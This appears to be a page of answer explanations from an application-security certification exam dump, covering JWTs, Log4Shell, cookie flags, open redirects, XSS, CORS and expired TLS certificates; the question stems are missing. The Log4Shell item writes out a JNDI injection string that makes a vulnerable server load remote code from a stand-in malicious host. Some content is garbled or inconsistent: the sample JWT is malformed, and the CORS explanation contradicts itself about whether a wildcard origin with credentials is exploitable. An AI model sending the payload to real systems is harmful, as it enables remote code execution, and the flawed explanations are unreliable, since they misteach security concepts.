The SecOps Group Certified AppSec Practitioner CAP Exam Questions

Answer : B

A JSON Web Token (JWT) consists of three parts separated by dots (.): Header, Payload, and Signature. Each part is Base64Url-encoded. The given JWT is:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJUYW1I1joiU2vjbB3ZiNo_mn0vNWT4G1-ATqOTmo7rm70VI12WCdkMI_S1_bPg_G8

The first part (eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9) is the Header, which typically includes metadata like the algorithm (alg) and type (typ). Decoding it gives: {'alg':'HS256','typ':'JWT'}.

The second part (eyJUYW1I1joiU2vjbB3ZiNo_mn0vNWT4G1-ATqOTmo7rm70VI12WCdkMI_S1_bPg_G8) is the Payload, which contains claims (e.g., user data, expiration). The highlighted segment corresponds to this second part, making it the Payload. Decoding it (though incomplete due to truncation) would reveal claims in JSON format.

The third part (not fully shown) would be the Signature, used to verify the token's integrity.

Option A ('The highlighted segment of the token represents a JWT Header'): Incorrect, as the highlighted segment is the second part, which is the Payload.

Option B ('The highlighted segment of the token represents a JWT Payload'): Correct, as the highlighted segment is the Payload portion of the JWT.

Option C ('Both A and B are correct'): Incorrect, as only B is correct.

Option D ('None of the above'): Incorrect, as B is correct.

The correct answer is B, aligning with the CAP syllabus under 'JWT Security' and 'Token-Based Authentication.'

Answer : B

The Log4j vulnerability, identified as CVE-2021-44228 (commonly known as Log4Shell), is a critical security flaw in the Apache Log4j library, a widely used logging framework in Java applications. This vulnerability allows remote code execution (RCE) when an attacker crafts a malicious input (e.g., ${jndi:ldap://malicious.com/a}) that is logged by a vulnerable Log4j instance. The exploit leverages JNDI (Java Naming and Directory Interface) Injection, where the JNDI lookup mechanism is abused to load remote code from an attacker-controlled server. All options (A, B, and C) list 'JNDI Injection,' which is correct, but since B is marked as the selected answer in the image, it is taken as the intended choice. This redundancy in options suggests a possible error in the question design, but the vulnerability is unequivocally JNDI Injection. Option D ('None of the above') is incorrect as JNDI Injection is the exploited vulnerability. This topic is critical in the CAP syllabus under injection attacks and RCE prevention.

Answer : A

Cookies can have security attributes to enhance their protection against various attacks. The question asks which attribute ensures that the cookie is only sent over a TLS (encrypted) channel, meaning it is transmitted securely via HTTPS and not over unencrypted HTTP.

Option A ('Secure'): The Secure attribute ensures that the browser only sends the cookie over a secure, encrypted connection (i.e., HTTPS). If a request is made over HTTP, the browser will not include the cookie, preventing it from being intercepted in plaintext. This is the correct answer.

Option B ('HttpOnly'): The HttpOnly attribute prevents the cookie from being accessed by JavaScript (e.g., via document.cookie), mitigating XSS attacks that steal cookies, but it does not enforce transmission over TLS.

Option C ('No_XSS'): This is not a valid cookie attribute; it appears to be a made-up term and does not relate to TLS enforcement.

Option D ('None of the above'): Incorrect, as the Secure attribute directly addresses the requirement.

The correct answer is A, aligning with the CAP syllabus under 'Cookie Security' and 'Session Management.'

Answer : A

The request is a GET to /dashboard.php with a purl parameter (http://attacker.com). The response is a 302 Found redirect with a Location: http://attacker.com header, indicating the server redirects the client to the URL specified in the purl parameter. Let's evaluate the statements:

Option A ('Application is likely to be vulnerable to Open Redirection vulnerability'): Correct. Open Redirection occurs when an application redirects to a user-supplied URL without validation. Here, the purl parameter (http://attacker.com) is directly used in the Location header, allowing an attacker to redirect users to a malicious site (e.g., for phishing). This is a classic Open Redirection vulnerability if the application does not restrict redirects to trusted domains.

Option B ('Application is vulnerable to Cross-Site Request Forgery vulnerability'): Incorrect. CSRF involves tricking a user into making an unintended request (e.g., via a malicious form). This response does not indicate a CSRF issue; there's no evidence of state-changing actions or lack of CSRF tokens.

Option C ('Application uses an insecure protocol'): Incorrect. The request is made over HTTP, and the redirect is to an HTTP URL (http://attacker.com), which is insecure, but the response itself does not indicate the protocol used for the initial request. The server could be using HTTPS for the initial response; the insecure protocol is in the redirect destination, which relates to the Open Redirection issue, not the application's protocol usage broadly.

Option D ('All of the above'): Incorrect, as only A is true.

The correct answer is A, aligning with the CAP syllabus under 'Open Redirection Vulnerabilities' and 'URL Redirection Attacks.'

Answer : C

Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. These scripts execute in the context of the victim's browser, enabling various exploitations. Let's evaluate each option:

Option A ('Steal the user's session identifier stored on a non HttpOnly cookie'): This is possible with XSS. If a session cookie is not marked as HttpOnly (preventing JavaScript access), an attacker can use a script to access document.cookie and steal the session ID, leading to session hijacking.

Option B ('Steal the contents from the web page'): This is also possible. An XSS payload can manipulate the DOM, extract content (e.g., via innerHTML), and send it to the attacker, such as through a GET request to a malicious server.

Option C ('Steal the contents from the application's database'): This is not possible with XSS alone. XSS operates on the client side within the browser's sandbox and cannot directly access the server-side database. Database access requires server-side vulnerabilities (e.g., SQL injection), which is a separate attack vector. Thus, this exploitation is not feasible through XSS.

Option D ('Steal the contents from the user's keystrokes using keyloggers'): This is possible. An XSS script can inject a keylogger (e.g., using onkeydown events) to capture keystrokes and transmit them to the attacker, especially on pages where sensitive data (e.g., forms) is entered.

Therefore, the correct answer is C, as XSS cannot directly exploit the database. This distinction is crucial in understanding attack vectors, a core topic in the CAP syllabus under 'OWASP Top 10 (A03:2021 - Injection)' and 'XSS Mitigation.'

Answer : A

CORS (Cross-Origin Resource Sharing) is a mechanism that allows servers to specify which origins can access their resources, enhancing security for cross-origin requests. A common misconfiguration occurs with the Access-Control-Allow-Origin and Access-Control-Allow-Credentials headers. When Access-Control-Allow-Origin is set to * (wildcard, allowing all origins), it permits any domain to make requests. However, if Access-Control-Allow-Credentials is set to true (allowing credentials like cookies or HTTP authentication), this creates a security risk. Browsers will block such requests because sending credentials with a wildcard origin violates CORS security policies, but an attacker could exploit this misconfiguration to trick a victim's browser into making unauthorized requests if other controls are absent.

Option A is correct because the combination of Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true is exploitable, as it enables potential credential leakage or unauthorized access. Option B is incorrect because Access-Control-Allow-Credentials: false disables credential sending, reducing exploitability. Option C is incorrect because the value of Access-Control-Allow-Credentials is not irrelevant; it must be false with a wildcard origin to comply with security standards. Option D ('All of the above') is incorrect as only A holds true. This is a key topic in the CAP syllabus under 'CORS Misconfiguration' and 'Client-Side Security.'

Answer : B

This question is identical to Question 52, describing a scenario where a TLS certificate has expired, causing a TLS error message, and asking about the correct course of action. The analysis remains the same:

Option A ('There is no urgency to renew the certificate as the communication is still over TLS'): Incorrect. An expired TLS certificate invalidates the trust model, even if the connection technically uses TLS. Browsers will issue warnings, and users may bypass them, but the lack of a valid certificate compromises security, making renewal urgent.

Option B ('There is an urgency to renew the certificate as the users of the website may get conditioned to ignore TLS warnings and therefore ignore a legitimate warning which could be a real Man-in-the-Middle attack'): Correct. Repeated exposure to TLS warnings due to an expired certificate may desensitize users, increasing the risk that they ignore legitimate warnings from a Man-in-the-Middle (MitM) attack. Renewing the certificate promptly is essential to maintain security and user trust.

The correct answer is B, aligning with the CAP syllabus under 'TLS Configuration' and 'Certificate Management.'